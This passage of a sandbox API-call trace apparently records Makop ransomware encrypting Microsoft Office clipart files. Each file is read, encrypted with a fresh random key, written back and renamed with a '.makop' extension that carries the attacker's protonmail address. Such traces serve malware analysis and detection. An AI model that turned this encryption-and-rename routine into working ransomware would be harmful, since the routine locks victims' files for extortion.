lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.448] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.448] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.448] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.448] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.449] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.449] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.449] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.451] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0145.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.451] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0145.452] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.452] SetEndOfFile (hFile=0xf0) returned 1 [0145.460] GetProcessHeap () returned 0x48a0000 [0145.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.460] GetProcessHeap () returned 0x48a0000 [0145.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.461] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.462] CloseHandle (hObject=0xf0) returned 1 [0145.462] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0145.463] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG") returned 63 [0145.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.466] GetProcessHeap () returned 0x48a0000 [0145.466] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.466] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.466] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0145.471] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.471] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.471] GetProcessHeap () returned 0x48a0000 [0145.471] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.471] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.471] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.471] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.471] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.473] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.473] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.473] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1764, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1764, lpOverlapped=0x0) returned 1 [0145.474] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1770, dwBufLen=0x1770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1770) returned 1 [0145.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1770, lpOverlapped=0x0) returned 1 [0145.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.475] SetEndOfFile (hFile=0xf0) returned 1 [0145.482] GetProcessHeap () returned 0x48a0000 [0145.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.482] GetProcessHeap () returned 0x48a0000 [0145.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.483] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.487] CloseHandle (hObject=0xf0) returned 1 [0145.487] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0145.487] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP") returned 63 [0145.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.489] GetProcessHeap () returned 0x48a0000 [0145.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.489] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.494] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.494] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.494] GetProcessHeap () returned 0x48a0000 [0145.494] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.494] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.494] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.495] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.496] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.496] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c08, lpOverlapped=0x0) returned 1 [0145.498] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10) returned 1 [0145.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c10, lpOverlapped=0x0) returned 1 [0145.508] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.521] SetEndOfFile (hFile=0xf0) returned 1 [0145.528] GetProcessHeap () returned 0x48a0000 [0145.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.528] GetProcessHeap () returned 0x48a0000 [0145.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.528] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.531] CloseHandle (hObject=0xf0) returned 1 [0145.531] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0145.531] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF") returned 63 [0145.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.534] GetProcessHeap () returned 0x48a0000 [0145.534] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.534] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.535] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0145.542] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.542] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.542] GetProcessHeap () returned 0x48a0000 [0145.543] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.543] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.543] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.543] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.544] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.544] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.545] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.545] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.545] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e55, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e55, lpOverlapped=0x0) returned 1 [0145.550] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60) returned 1 [0145.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.551] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e60, lpOverlapped=0x0) returned 1 [0145.551] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.551] SetEndOfFile (hFile=0xf0) returned 1 [0145.558] GetProcessHeap () returned 0x48a0000 [0145.558] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.558] GetProcessHeap () returned 0x48a0000 [0145.558] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.558] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.560] CloseHandle (hObject=0xf0) returned 1 [0145.560] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0145.560] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP") returned 63 [0145.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.562] GetProcessHeap () returned 0x48a0000 [0145.562] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.562] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.562] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.562] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.566] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: 